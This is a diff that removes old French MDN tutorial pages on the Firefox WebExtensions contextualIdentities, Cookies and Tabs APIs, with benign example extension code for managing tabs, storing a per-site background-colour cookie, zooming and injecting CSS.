Si l'utilisateur clique sur l'option permettant de créer un onglet pour une identité, l'un d'entre eux est ouvert à l'aide de tabs.create en transmettant l'ID de cookie de l'identité.

- -
  if (event.target.dataset.action == 'create') {
-    browser.tabs.create({
-      url: 'about:blank',
-      cookieStoreId: event.target.dataset.identity
-    });
-  }
- -

Si l'utilisateur sélectionne l'option permettant de fermer tous les onglets pour l'identité, le script exécute une tabs.query pour tous les onglets qui utilisent le cookie store de l'identité. Le script passe ensuite cette liste d'onglets à tabs.remove.

- -
  if (event.target.dataset.action == 'close-all') {
-    browser.tabs.query({
-      cookieStoreId: event.target.dataset.identity
-    }).then((tabs) => {
-      browser.tabs.remove(tabs.map((i) => i.id));
-    });
-  }
-  event.preventDefault();
-}
- -

Apprendre encore plus

- -

Si vous voulez en savoir plus sur l'API contextualIdentities, consultez :

- -
    -
  • contextualIdentities API reference.
    • -
  • code source de l'extension Multi-Account Containers. C'est le code pour l'extension Firefox Multi-Account Containers. -

    Cette extension fournit aux utilisateurs des fonctionnalités améliorées pour les identités contextuelles, telles que la possibilité de cliquer longuement sur le nouveau bouton de l'onglet, puis de sélectionner l'identité à utiliser dans le nouvel onglet. Il met vraiment en valeur les capacités offertes par les identités contextuelles et vaut le détour.

    - .
    • -
diff --git a/files/fr/mozilla/add-ons/webextensions/travailler_avec_l_api_cookies/index.html b/files/fr/mozilla/add-ons/webextensions/travailler_avec_l_api_cookies/index.html deleted file mode 100644 index c13965f88e..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/travailler_avec_l_api_cookies/index.html +++ /dev/null @@ -1,254 +0,0 @@ ---- -title: Travailler avec l'API Cookies -slug: Mozilla/Add-ons/WebExtensions/travailler_avec_l_API_cookies -tags: - - Add-ons - - Comment - - Cookies - - Débutant - - Extensions - - How-to - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Work_with_the_Cookies_API ---- -

{{AddonSidebar}}

- -

Avec l'API Cookies, vos extensions ont accès à des fonctionnalités similaires à celles utilisées par les sites Web pour stocker et lire les cookies. Les fonctionnalités de l'API permettent aux extensions de stocker des informations site par site. Ainsi, comme nous le verrons dans l'exemple, vous pouvez stocker des détails sur le choix de la couleur de fond d'un site pour un utilisateur. Ensuite, lorsque l'utilisateur revient sur le site, votre extension peut utiliser la capacité de l'API pour obtenir des détails sur les cookies et les lire pour récupérer le choix de l'utilisateur et l'appliquer au site Web.

- -
-

Le comportement des cookies peut être contrôlé à l'aide de la propriété {{WebExtAPIRef("privacy.websites")}} cookieConfig. Cette propriété contrôle si et comment les cookies sont acceptés ou si tous les cookies sont traités comme des cookies de session.

-
- -

Permissions

- -

Pour utiliser l'API Cookies, vous devez demander à la fois la permission "cookies" et les  permissions d'hôte pour les protocoles, domaines, ou sites web auxquels vous souhaitez accéder ou utiliser "<all_urls>" pour accéder à tous les protocoles et domaines. La façon dont vous définissez votre chaîne de permission d'hôte affecte la capacité de votre extension à lire, écrire et supprimer les cookies.

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-

Chaine de permission hôte

- 		-

Lecture

- 		-

Ecriture/Effacer

-
-

Sécurisé

- 		-

Non-sécurisé

- 		-

Sécurisé

- 		-

Non-sécurisé

-
-

"http://*.example.com/"

- 		-

Non

- 		-

Principaux et sous domaines, avec n'importe quel chemin

- 		-

Principaux et sous domaines, avec n'importe quel chemin

- 		-

Principaux et sous domaines, avec n'importe quel chemin

-
-

"https://www.example.com/"

- 		-

www.example.com ou .example.com avec n'importe quel chemin, mais aucun sous domaine

- 		-

www.example.com ou .example.com avec n'importe quel chemin, mais aucun sous domaine

- 		-

www.example.com ou .example.com avec n'importe quel chemin, mais aucun sous domaine

- 		-

www.example.com ou .example.com avec n'importe quel chemin, mais aucun sous domaine

-
-

"*://*.example.com/"

- 		-

Principaux et sous domaines, avec n'importe quel chemin

- 		-

Principaux et sous domaines, avec n'importe quel chemin

- 		-

Principaux et sous domaines, avec n'importe quel chemin

- 		-

Principaux et sous domaines, avec n'importe quel chemin

-
-

"<all_urls>"

- 		-

Tout domaine avec un chemin

- 		-

Tout domaine avec un chemin

- 		-

Tout domaine avec un chemin

- 		-

Tout domaine avec un chemin

-
-
- -

Banque de cookies

- -

Firefox fournit trois types de banque de cookies :

- -
    -
  • La banque par défaut, qui stocke les cookies de la navigation normale.
    • -
  • Le mode de navigation privée stocke les cookies créés lors d'une session de navigation privée. Ces banques et tous les cookies qu'ils contiennent sont supprimés lorsque la fenêtre de navigation privée associée se ferme.
    • -
  • La banque de conteneur d'onglets, qui stocke les cookies pour chaque identité contextuelle dans Firefox. Les identités contextuelles permettent à un utilisateur de conserver plusieurs identités dans une fenêtre de navigateur. Ceci est utile si, par exemple, vous avez un compte de messagerie d'entreprise et personnel sur Gmail. Avec les identités contextuelles, vous pouvez ouvrir un onglet par rapport à une identité personnelle et un deuxième onglet par rapport à une identité d'entreprise. Chaque onglet peut ensuite se connecter à Google Mail avec un nom d'utilisateur différent, et les deux comptes peuvent être utilisés côte à côte. Pour plus d'informations, voir Sécurité/Projet d'identité contextuelle/Conteneurs dans le wiki Mozilla.
    • -
- -

Vous pouvez trouver les banques de cookies disponibles en utilisant {{WebExtAPIRef("cookies.getAllCookieStores")}}, qui renvoie un objet contenant l'ID de chaque cookie et une liste des ID des onglets utilisant chaque banque de cookies.

- -

Exemple de procédure pas à pas

- -

L'exemple d'extension cookie-bg-picker permet à l'utilisateur de choisir une couleur et une icône appliquées à l'arrière-plan des pages Web d'un site. Ces choix sont sauvegardés par site en utilisant {{WebExtAPIRef("cookies.set")}}. Lorsqu'une page du site est ouverte, {{WebExtAPIRef("cookies.get")}} lit tout choix précédent, et l'extension l'applique à la page Web. Une option de réinitialisation supprime l'icône d'arrière-plan et la couleur du site ainsi que le cookie, en utilisant {{WebExtAPIRef("cookies.remove")}}. Il utilise également {{WebExtAPIRef("cookies.onChanged")}} pour écouter les modifications apportées aux cookies, en envoyant les détails de la modification à la console.

- -

Cette vidéo montre l'extension en action :

- -

{{EmbedYouTube("_rlp3eYqEMA")}}

- -

Cet exemple utilise également les API Tabs et Runtime, mais nous ne discuterons de ces fonctionnalités qu'en passant.

- -

manifest.json

- -

The key feature of the manifest.json file relating to the use of the Cookies API is the permissions request:

- -
  "permissions": [
-      "tabs",
-      "cookies",
-      "<all_urls>"
-],
- -

Ici, l'extension demande l'autorisation d'utiliser l'API Cookies ("cookies") avec tous les sites Web ("<all_urls>"). Cela permet à l'extension d'enregistrer le choix de l'icône de couleur d'arrière-plan pour n'importe quel site Web.

- -

Scripts—bgpicker.js

- -

L'interface utilisateur de l'extension utilise un bouton de barre d'outils ({{WebExtAPIRef("browserAction")}}) implémenté avec bgpicker.html qui appelle bgpicker.js. Ensemble, ils permettent à l'utilisateur de sélectionner l'icône et d'entrer la couleur à appliquer en arrière-plan. Ils offrent également la possibilité d'effacer ces paramètres.

- -

bgpicker.js gère la sélection de l'icône ou l'entrée d'une couleur pour l'arrière-plan dans des fonctions séparées.

- -

Pour gérer les boutons d'icônes, le script rassemble d'abord tous les noms de classe utilisés pour les boutons dans le fichier HTML :

- -
var bgBtns = document.querySelectorAll('.bg-container button');
- -

Il boucle ensuite à travers tous les boutons en leur assignant leur image et en créant un écouteur onclick pour chaque bouton :

- -
for(var i = 0; i < bgBtns.length; i++) {
-  var imgName = bgBtns[i].getAttribute('class');
-  var bgImg = 'url(\'images/' + imgName + '.png\')';
-  bgBtns[i].style.backgroundImage = bgImg;
-
-  bgBtns[i].onclick = function(e) {
- -

Quand un bouton est cliqué, sa fonction d'écouteur correspondante obtient le nom de classe de bouton et ensuite le chemin d'icône qu'il passe au script de contenu de la page (updatebg.js) en utilisant un message. Le script de contenu applique ensuite l'icône à l'arrière-plan de la page Web. Pendant ce temps, bgpicker.js stocke les détails de l'icône appliquée à l'arrière-plan dans un cookie :

- -
    cookieVal.image = fullURL;
-    browser.cookies.set({
-    url: tabs[0].url,
-    name: "bgpicker",
-    value: JSON.stringify(cookieVal)
-  })
- -

Le paramètre de couleur est traité de la même manière, déclenché par un écouteur dans le champ de saisie de couleur. Lorsqu'une couleur est entrée, l'onglet actif est découvert et les détails de sélection de couleur envoyés, à l'aide d'un message, au script de contenu de la page à appliquer à l'arrière-plan de la page Web. Ensuite, la sélection de couleur est ajoutée au cookie :

- -
    cookieVal.color = currColor;
-    browser.cookies.set({
-    url: tabs[0].url,
-    name: "bgpicker",
-    value: JSON.stringify(cookieVal)
- -

Lorsque l'utilisateur clique sur le bouton de réinitialisation qui a été affecté à la réinitialisation de la variable :

- -
var reset = document.querySelector('.color-reset button');
- -

reset.onclick trouve d'abord l'onglet actif. Ensuite, en utilisant l'ID de l'onglet, il transmet un message au script de contenu de la page (updatebg.js) pour qu'il supprime l'icône et la couleur de la page. La fonction efface ensuite les valeurs de cookie (de sorte que les anciennes valeurs ne sont pas reportées et écrites sur un cookie créé pour une nouvelle icône ou sélection de couleur sur la même page) avant de supprimer le cookie :

- -
    cookieVal = { image : '',
-                  color : '' };
-    browser.cookies.remove({
-    url: tabs[0].url,
-    name: "bgpicker"
- -

Aussi, afin que vous puissiez voir ce qui se passe avec les cookies, le script rend compte de toutes les modifications apportées aux cookies dans la console :

- -
browser.cookies.onChanged.addListener((changeInfo) => {
-  console.log(`Cookie changed:\n
-    * Cookie: ${JSON.stringify(changeInfo.cookie)}\n
-    * Cause: ${changeInfo.cause}\n
-    * Removed: ${changeInfo.removed}`);
-  });
- -

Scripts—background.js

- -

Un script d'arrière-plan (background.js) permet à l'utilisateur de choisir une icône d'arrière-plan et une couleur pour le site Web dans une session antérieure. Le script est à l'écoute des changements dans l'onglet actif, que ce soit l'utilisateur qui passe d'un onglet à l'autre ou modifie l'URL de la page affichée dans l'onglet. Lorsque l'un de ces événements se produit, cookieUpdate() est appelée.  cookieUpdate() utilise à son tour getActiveTab() pour obtenir l'ID de l'onglet actif. La fonction peut ensuite vérifier si un cookie existe pour l'extension, en utilisant l'URL de l'onglet :

- -
    var gettingCookies = browser.cookies.get({
-      url: tabs[0].url,
-      name: "bgpicker"
-    });
- -

Si le cookie "bgpicker" existe pour le site Web, les détails de l'icône et de la couleur sélectionnés précédemment sont récupérés et transmis au script de contenu updatebg.js à l'aide de messages :

- -
    gettingCookies.then((cookie) => {
-      if (cookie) {
-        var cookieVal = JSON.parse(cookie.value);
-        browser.tabs.sendMessage(tabs[0].id, {image: cookieVal.image});
-        browser.tabs.sendMessage(tabs[0].id, {color: cookieVal.color});
-      }
-    });
- -

Autres caractéristiques

- -

En plus des API mentionnées jusqu'à présent, l'API Cookies propose également {{WebExtAPIRef("cookies.getAll")}}. Cette fonction prend l'objet details pour spécifier des filtres pour les cookies sélectionnés et retourne un tableau d'objets {{WebExtAPIRef("cookies.Cookie")}} qui correspondent aux critères de filtrage.

- -

Apprendre encore plus

- -

Si vous voulez en savoir plus sur l'API Cookies, consultez :

- - diff --git a/files/fr/mozilla/add-ons/webextensions/travailler_avec_l_api_tabs/index.html b/files/fr/mozilla/add-ons/webextensions/travailler_avec_l_api_tabs/index.html deleted file mode 100644 index 049a8e5683..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/travailler_avec_l_api_tabs/index.html +++ /dev/null @@ -1,628 +0,0 @@ ---- -title: Travailler avec l'API Tabs -slug: Mozilla/Add-ons/WebExtensions/Travailler_avec_l_API_Tabs -tags: - - Add-ons - - Comment - - Débutant - - WebExtensions - - onglets - - tabs -translation_of: Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API ---- -

{{AddonSidebar}}

- -

Les onglets permettent à un utilisateur d'ouvrir plusieurs pages Web dans la fenêtre de son navigateur, puis de basculer entre ces pages Web. Grâce à l'API Tabs, vous pouvez utiliser et manipuler ces onglets pour créer des utilitaires qui offrent aux utilisateurs de nouvelles façons de travailler avec des onglets ou de fournir les fonctionnalités de votre extension.

- -

Dans cet article, nous allons regarder :

- -
    -
  • Permissions nécessaires pour utiliser l'API Tabs.
    • -
  • En savoir plus sur les onglets et leurs propriétés en utilisant {{WebExtAPIRef("tabs.query")}}.
    • -
  • Création, duplication, déplacement, mise à jour, rechargement et suppression des onglets.
    • -
  • Manipuler le niveau de zoom d'un onglet.
    • -
  • Manipuler le CSS d'un onglet.
    • -
- -

Nous concluons ensuite en examinant d'autres fonctionnalités diverses offertes par l'API.

- -
-

Remarque : Certaines fonctionnalités de l'API d'onglet sont couvert ailleurs. Voici les méthodes que vous pouvez utiliser pour manipuler le contenu de l'onglet avec des scripts ({{WebExtAPIRef("tabs.connect")}}, {{WebExtAPIRef("tabs.sendMessage")}}, et  {{WebExtAPIRef("tabs.executeScript")}}). Si vous voulez plus d'informations sur ces méthodes, reportez-vous à l'article scripts de contenu et le guide pratique modifier une page web.

-
- -

Permissions et l'API Tabs

- -

Pour la majorité des fonctions de l'API Tabs, vous n'avez besoin d'aucune autorisation. Cependant, il y a certaines exceptions :

- -
    -
  • permission "tabs" est nécessaire pour accéder aux propriétés de  Tab.url, Tab.title, et Tab.favIconUrl de l'objet Tab. Dans Firefox, vous avez également besoin de "tabs" pour effectuer une  requête par URL.
    • -
  • persmission de l'hote est nécessaire pour  {{WebExtAPIRef("tabs.executeScript")}} ou {{WebExtAPIRef("tabs.insertCSS")}}.
    • -
- -

Vous pouvez demander la permission "tabs" dans le fichier manifest.json de votre extension :

- -
"permissions": [
-  "<all_urls>",
-  "tabs"
-],
-
- -

Cette requête vous permet d'utiliser toutes les fonctionnalités de l'API Tabs sur tous les sites Web que vos utilisateurs visitent. Il existe également une autre méthode pour demander la permission d'utiliser {{WebExtAPIRef("tabs.executeScript")}} ou {{WebExtAPIRef("tabs.insertCSS")}} où vous n'avez pas besoin de la permission de l'hôte, sous la forme "activeTab". Cette permission fournit les mêmes droits que les  "onglets" avec <all_urls>, mais avec deux restrictions:

- -
    -
  • l'utilisateur doit interagir avec l'extension via son navigateur ou l'action de la page, le menu contextuel ou la touche de raccourci.
    • -
  • il accorde uniquement la permission dans l'onglet actif..
    • -
- -

L'avantage de cette approche est que l'utilisateur ne recevra pas d'avertissement d'autorisation indiquant que votre extension peut “Accéder à vos données pour tous les sites Web”. En effet, la permission <all_urls> permet à une extension d'exécuter des scripts dans n'importe quel onglet, à tout moment, alors que "activeTab" se limite à autoriser l'extension à effectuer une action demandée par l'utilisateur dans l'onglet en cours.

- -

En savoir plus sur les onglets et leurs propriétés

- -

Il y aura des occasions où vous voulez obtenir une liste de tous les onglets dans toutes les fenêtres du navigateur. D'autres fois, vous pourriez vouloir trouver un sous-ensemble d'onglets qui correspondent à certains critères spécifiques, tels que ceux ouverts à partir d'un onglet spécifique ou l'affichage des pages d'un domaine particulier. Et une fois que vous avez votre liste d'onglets, vous voudrez probablement en savoir plus sur leurs propriétés.

- -

C'est ici qu'intervient {{WebExtAPIRef("tabs.query")}}. Utilisé seul pour obtenir tous les onglets ou prendre l'objet queryInfo — pour spécifier des critères de requête tels que l'activation de l'onglet, dans la fenêtre en cours ou plus de 17 critères — {{WebExtAPIRef("tabs.query")}} renvoie un tableau d'objets {{WebExtAPIRef("tabs.Tab")}} objects contenant des informations sur les onglets.

- -

Lorsque vous souhaitez uniquement obtenir des informations sur l'onglet en cours, vous pouvez obtenir un objet {{WebExtAPIRef("tabs.Tab")}} pour cet onglet à l'aide de  {{WebExtAPIRef("tabs.getCurrent")}}. Si vous avez un ID d'onglet, vous pouvez obtenir son objet {{WebExtAPIRef("tabs.Tab")}} en utilisant {{WebExtAPIRef("tabs.get")}}.

- -

Par exemple

- -

Pour voir comment {{WebExtAPIRef("tabs.query")}} et {{WebExtAPIRef("tabs.Tab")}} sont utilisés, voyons comment l'exemple tabs-tabs-tabs ajoute la liste de  “passer aux onglets” à son popup bouton de barre d'outils.

- -

The tabs tabs tabs toolbar menu showing the switch to tap area

- -

manifest.json

- -

Voici le manifest.json:

- -
{
-  "browser_action": {
-    "browser_style": true,
-    "default_title": "Tabs, tabs, tabs",
-    "default_popup": "tabs.html"
-  },
-  "description": "A list of methods you can perform on a tab.",
-  "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/tabs-tabs-tabs",
-  "manifest_version": 2,
-  "name": "Tabs, tabs, tabs",
-  "permissions": [
-    "tabs"
-  ],
-  "version": "1.0"
-}
-
- -
-

Notez ce qui suit :

- -
    -
  • -

    tabs.html est défini comme default_popup dans browser_action. C'est affiché chaque fois que l'utilisateur clique sur l'icône de la barre d'outils de l'extension.

    -
    • -
  • -

    Les permissions incluent des onglets. Ceci est nécessaire pour prendre en charge la fonction de liste d'onglets, car l'extension lit le titre des onglets à afficher dans la fenêtre contextuelle.

    -
    • -
-
- -

tabs.html

- -

tabs.html définit le contenu du popup de l'extension :

- -
<!DOCTYPE html>
-
-<html>
-
- <head>
-    <meta charset="utf-8">
-    <link rel="stylesheet" href="tabs.css"/>
- </head>
-
-<body>
-
- <div class="panel">
-    <div class="panel-section panel-section-header">
-     <div class="text-section-header">Tabs-tabs-tabs</div>
-    </div>
-
-    <a href="#" id="tabs-move-beginning">Move active tab to the beginning of the window</a><br>
-
-
-…
-
-Define the other menu items
-…
-
-    <div class="switch-tabs">
-
-     <p>Switch to tab</p>
-
-     <div id="tabs-list"></div>
-
-    </div>
- </div>
-
- <script src="tabs.js"></script>
-
-</body>
-
-</html>
-
- -

Ici, vous pouvez voir que, après la création des éléments de menu, un div vide avec la liste des onglets ID est configuré pour contenir la liste des onglets. Ensuite, tabs.js est appelée.

- -

Voici un résumé de ce qui précède :

- -
    -
  1. Les éléments de menu sont déclarés.  
    2. -
  2. Une div vide avec tabs-list est déclaré comme contenant la liste des onglets.
    3. -
  3. tabs.js est appelé.
    4. -
- -

tabs.js

- -

Dans tabs.js nous pouvons voir comment la liste des onglets est construite et ajoutée à la popup.

- -

Tout d'abord, un gestionnaire d'événements est ajouté pour exécuter listTabs() quand tabs.html est chargé :

- -

Création de la fenêtre contextuelle

- -

Tout d'abord, un gestionnaire d'événements est ajouté pour exécuter listTabs() quand tabs.html est chargé :

- -
document.addEventListener("DOMContentLoaded", listTabs);
- -

La première chose que fait listTabs() est d'appeler getCurrentWindowTabs(), où {{WebExtAPIRef("tabs.query")}} est utilisé pour obtenur un objet  {{WebExtAPIRef("tabs.Tab")}} pour le onglets dans la fenêtre courante :

- -
function getCurrentWindowTabs() {
-  return browser.tabs.query({currentWindow: true});
-}
-
- -

Maintenant, listTabs() est prêt à créer le contenu de la popup.

- -

Pour commencer :

- -
    -
  1. Récupérer les tabs-list div.
    2. -
  2. Créer un fragment de document (dans lequel la liste sera construite).
    3. -
  3. Mettre les compteurs.
    4. -
  4. Effacer le contenu de tabs-list div.
    5. -
- -
function listTabs() {
- getCurrentWindowTabs().then((tabs) => {
-    let tabsList = document.getElementById('tabs-list');
-    let currentTabs = document.createDocumentFragment();
-    let limit = 5;
-    let counter = 0;
-
-    tabsList.textContent = '';
-
- -

Ensuite, nous allons créer les liens pour chaque onglet :

- -
    -
  1. Boucle les 5 premiers éléments de l'objet {{WebExtAPIRef("tabs.Tab")}}.
    2. -
  2. Pour chaque poste, ajoutez un hyperlien vers le fragment de document. -
      -
    • L'étiquette du lien, c'est-à-dire son texte, est définie à l'aide du titre de l'onglet (ou de l'ID, s'il n'a pas de titre).
      • -
    • L'adresse du lien est définie à l'aide de l'ID de l'onglet.
      • -
    -
    3. -
- -
    for (let tab of tabs) {
-     if (!tab.active && counter <= limit) {
-        let tabLink = document.createElement('a');
-
-        tabLink.textContent = tab.title || tab.id;
-
-       tabLink.setAttribute('href', tab.id);
-        tabLink.classList.add('switch-tabs');
-        currentTabs.appendChild(tabLink);
-     }
-
-     counter += 1;
-
-    }
-
- -

Enfin, le fragment du document est écrit dans la div tabs-list :

- -
    tabsList.appendChild(currentTabs);
-  });
-}
-
- -

Travailler avec l'onglet actif

- -

Un autre exemple connexe est l'option d'information “Alert active tab”qui décharge toutes les propriétés de l'objet {{WebExtAPIRef("tabs.Tab")}} de l'onglet actif dans une alerte :

- -
 else if (e.target.id === "tabs-alertinfo") {
-   callOnActiveTab((tab) => {
-     let props = "";
-     for (let item in tab) {
-       props += `${ item } = ${ tab[item] } \n`;
-     }
-     alert(props);
-   });
- }
-
- -

Où callOnActiveTab() ftrouve l'objet de tabulation active en faisant une boucle sur les objets {{WebExtAPIRef("tabs.Tab")}} qui recherchent l'objet avec l'ensemble actif :

- -
document.addEventListener("click", function(e) {
- function callOnActiveTab(callback) {
-   getCurrentWindowTabs().then((tabs) => {
-     for (var tab of tabs) {
-       if (tab.active) {
-         callback(tab, tabs);
-       }
-     }
-   });
- }
-}
-
-
- -

Création, duplication, déplacement, mise à jour, rechargement et suppression des onglets

- -

Après avoir recueilli des informations sur les onglets, vous voudrez probablement faire quelque chose avec eux — soit pour offrir aux utilisateurs des fonctionnalités de manipulation et de gestion des onglets — soit pour implémenter des fonctionnalités dans votre extension. Les fonctions suivantes sont disponibles :

- -
    -
  • Créer un nouvel onglet ({{WebExtAPIRef("tabs.create")}}).
    • -
  • Dupliquer un onglet ({{WebExtAPIRef("tabs.duplicate")}}).
    • -
  • Supprimer un onglet ({{WebExtAPIRef("tabs.remove")}}).
    • -
  • Déplacer un onglet ({{WebExtAPIRef("tabs.move")}}).
    • -
  • Mettre à jour l'URL d'un onglet — accéderefficacement à une nouvelle page — ({{WebExtAPIRef("tabs.update")}}).
    • -
  • Rechargez la page de l'onglet ({{WebExtAPIRef("tabs.reload")}}).
    • -
- -
-

NOTE :

- -

Ces fonctions nécessitent toutes l'ID (ou les ID) de l'onglet qu'elles manipulent :

- -
    -
  • {{WebExtAPIRef("tabs.duplicate")}}
    • -
  • {{WebExtAPIRef("tabs.remove")}}
    • -
  • {{WebExtAPIRef("tabs.move")}}
    • -
- -

Alors que les fonctions suivantes agissent sur l'onglet actif (si aucun ID d'onglet n'est fourni) :

- -
    -
  • {{WebExtAPIRef("tabs.update")}}
    • -
  • {{WebExtAPIRef("tabs.reload")}}
    • -
-
- -

Par exemple

- -

L'exemple tabs-tabs-tabs utilise toutes ces fonctionnalités sauf la mise à jour de l'URL d'un onglet. La façon dont ces API sont utilisées est similaire, nous allons donc regarder l'une des implémentations les plus impliquées, celle de l'option “Deplacer l'onglet actif vers le début de la liste des fenêtres”. Mais d'abord, voici une démonstration de la fonctionnalité en action :

- -

{{EmbedYouTube("-lJRzTIvhxo")}}

- -

manifest.json

- -

Aucune de ces fonctions ne nécessite de permission pour fonctionner, donc il n'y a aucune fonctionnalité dans le fichier manifest.json qui doit être mise en surbrillance.

- -

tabs.html

- -

tabs.html définit le “menu” affiché dans la fenêtre contextuelle, qui inclut l'option “Déplacer l'onglet actif au début de la liste des fenêtres”, wavec une série de balises <a> groupées par un séparateur visuel. Chaque élément de menu reçoit un ID, qui est utilisé dans tabs.js pour déterminer quel élément de menu est demandé.

- -
    <a href="#" id="tabs-move-beginning">Move active tab to the beginning of the window</a><br>
-    <a href="#" id="tabs-move-end">Move active tab to the end of the window</a><br>
-
-    <div class="panel-section-separator"></div>
-
-
-    <a href="#" id="tabs-duplicate">Duplicate active tab</a><br>
-
-    <a href="#" id="tabs-reload">Reload active tab</a><br>
-    <a href="#" id="tabs-alertinfo">Alert active tab info</a><br>
- -

tabs.js

- -

Pour implémenter le "menu" défini dans tabs.html, tabs.js inclut un écouteur pour les clics dans tabs.html

- -
document.addEventListener("click", function(e) {
- function callOnActiveTab(callback) {
-
-   getCurrentWindowTabs().then((tabs) => {
-     for (var tab of tabs) {
-       if (tab.active) {
-         callback(tab, tabs);
-       }
-     }
-   });
-}
-}
-
- -

Une série d'instructions if cherche alors à faire correspondre l'identifiant de l'élément cliqué. Cet extrait de code est pour l'option “Déplacer l'onglet actif au début de la liste des fenêtres” :

- -
 if (e.target.id === "tabs-move-beginning") {
-   callOnActiveTab((tab, tabs) => {
-     var index = 0;
-     if (!tab.pinned) {
-       index = firstUnpinnedTab(tabs);
-     }
-     console.log(`moving ${tab.id} to ${index}`)
-     browser.tabs.move([tab.id], {index});
-   });
- }
-
- -

Il est intéressant de noter l'utilisation de console.log. Cela vous permet de générer des informations sur la console du debugger, ce qui peut être utile lors de la résolution des problèmes rencontrés lors du développement.

- -

Example of the console.log output, from the move tabs feature, in the debugging console

- -

Le code de déplacement appelle d'abord callOnActiveTab() qui à son tour appelle  getCurrentWindowTabs() pour obtenir un objet {{WebExtAPIRef("tabs.Tab")}} contenant les onglets de la fenêtre active. Il parcourt ensuite l'objet pour rechercher et renvoyer l'objet onglet actif :

- -
 function callOnActiveTab(callback) {
-   getCurrentWindowTabs().then((tabs) => {
-     for (var tab of tabs) {
-       if (tab.active) {
-         callback(tab, tabs);
-       }
-     }
-   });
- }
-
- -
Onglets épinglés
- -

Une caractéristique des onglets est que l'utilisateur peut épingler des onglets dans une fenêtre. Les onglets épinglés sont placés au début de la liste des onglets et ne peuvent pas être déplacés. Cela signifie que la première position vers laquelle un onglet peut se déplacer est la première position après les onglets épinglés. Ainsi, firstUnpinnedTab() est appelé pour trouver la position du premier onglet non goupillé en faisant une boucle dans l'objet tabs :

- -
function firstUnpinnedTab(tabs) {
- for (var tab of tabs) {
-   if (!tab.pinned) {
-     return tab.index;
-   }
- }
-}
-
- -

Nous avons maintenant tout ce qu'il faut pour déplacer l'onglet : l'objet onglet actif à partir duquel nous pouvons obtenir l'ID de l'onglet et la position à laquelle l'onglet doit être déplacé. Ainsi, nous pouvons mettre en œuvre le mouvement :

- -
     browser.tabs.move([tab.id], {index});
- -

Les fonctions restantes à dupliquer, recharger, créer et supprimer des onglets sont implémentées de manière similaire.

- -

Manipulation du niveau du zoom d'un onglet

- -

Le prochain ensemble de fonctions vous permet d'obtenir  ({{WebExtAPIRef("tabs.getZoom")}}) et de définir ({{WebExtAPIRef("tabs.setZoom")}}) le niveau de zoom dans un onglet. Vous pouvez également récupérer les paramètres de zoom  ({{WebExtAPIRef("tabs.getZoomSettings")}}) mais, au moment de l'écriture, la possibilité de définir les paramètres ({{WebExtAPIRef("tabs.setZoomSettings")}}) n'était pas disponible dans Firefox.

- -

Le niveau de zoom peut être compris entre 30% et 300% (représenté par des décimales de 0.3 à 3).

- -

Dans Firefox les paramètres de zoom par défaut sont :

- -
    -
  • niveau de zoom par défaut : 100%.
    • -
  • mode zoom: automatique (le navigateur gère donc le réglage des niveaux de zoom).
    • -
  • portée des changements de zoom : "per-origin", ce qui signifie que lorsque vous visitez à nouveau un site, il prend le niveau de zoom défini lors de votre dernière visite.
    • -
- -

Par exemple

- -

L'exemple tabs-tabs-tabs comprend trois démonstrations de la fonction de zoom : zoom avant, zoom arrière, et réinitialisation du zoom. Voici la fonctionnalité en action :

- -

{{EmbedYouTube("RFr3oYBCg28")}}

- -

Jetons un coup d'oeil à la façon dont le zoom est implémenté.

- -

manifest.json

- -

Aucune des fonctions de zoom n'a besoin d'autorisations. Par conséquent, aucune fonction du fichier manifest.json ne doit être mise en surbrillance.

- -

tabs.html

- -

Nous avons déjà discuté comment le tabs.html définit les options pour cette extension, rien de nouveau ou unique n'est fait pour fournir les options de zoom.

- -

tabs.js

- -

tabs.js commence par définir plusieurs constantes utilisées dans le code du zoom :

- -
const ZOOM_INCREMENT = 0.2;
-const MAX_ZOOM = 3;
-const MIN_ZOOM = 0.3;
-const DEFAULT_ZOOM = 1;
-
- -

Il utilise ensuite le même écouteur que nous avons discuté précédemment afin qu'il puisse agir sur les clics dans tabs.html.

- -

Pour la fonction zoom, ceci s'exécute :

- -
 else if (e.target.id === "tabs-add-zoom") {
-   callOnActiveTab((tab) => {
-     var gettingZoom = browser.tabs.getZoom(tab.id);
-     gettingZoom.then((zoomFactor) => {
-       //the maximum zoomFactor is 3, it can't go higher
-       if (zoomFactor >= MAX_ZOOM) {
-         alert("Tab zoom factor is already at max!");
-       } else {
-         var newZoomFactor = zoomFactor + ZOOM_INCREMENT;
-         //if the newZoomFactor is set to higher than the max accepted
-         //it won't change, and will never alert that it's at maximum
-         newZoomFactor = newZoomFactor > MAX_ZOOM ? MAX_ZOOM : newZoomFactor;
-         browser.tabs.setZoom(tab.id, newZoomFactor);
-       }
-     });
-   });
- }
-
- -

Ce code utilise callOnActiveTab() pour obtenir les détails de l'onglet actif, puis  {{WebExtAPIRef("tabs.getZoom")}} obtient le facteur de zoom actuel de l'onglet. Le zoom actuel est comparé au maximum défini (MAX_ZOOM) et une alerte est émise si l'onglet est déjà au zoom maximum. Sinon, le niveau de zoom est incrémenté mais limité au zoom maximum, puis le zoom est défini avec {{WebExtAPIRef("tabs.getZoom")}}.

- -

Manipuler le CSS d'un onglet

- -

Une autre fonctionnalité importante offerte par l'API Tabs est la possibilité de manipuler le CSS dans un onglet — ajouter un nouveau CSS dans un onglet ({{WebExtAPIRef("tabs.insertCSS")}}) ou supprimer CSS d'un onglet  ({{WebExtAPIRef("tabs.removeCSS")}}).

- -

Cela peut être utile si vous voulez, par exemple, mettre en évidence certains éléments de la page ou modifier la disposition par défaut de la page (liste courte des cas d'utilisation).

- -

Par exemple

- -

L'exemple apply-css utilise ces fonctionnalités pour ajouter une bordure rouge à la page Web dans l'onglet actif. Voici la fonctionnalité en action:

- -

{{EmbedYouTube("bcK-GT2Dyhs")}}

- -

Voyons comment cela se passe.

- -

manifest.json

- -

Pour utiliser les fonctionnalités CSS dont vous avez besoin :

- - - -

Ce dernier est le plus utile, car il permet à une extension d'utiliser  {{WebExtAPIRef("tabs.insertCSS")}} et {{WebExtAPIRef("tabs.removeCSS")}} dans l'onglet actif lorsqu'il est exécuté depuis le navigateur de l'extension ou action de la page, menu contextuel ou un raccourci.

- -
{
-  "description": "Adds a page action to toggle applying CSS to pages.",
-
- "manifest_version": 2,
- "name": "apply-css",
- "version": "1.0",
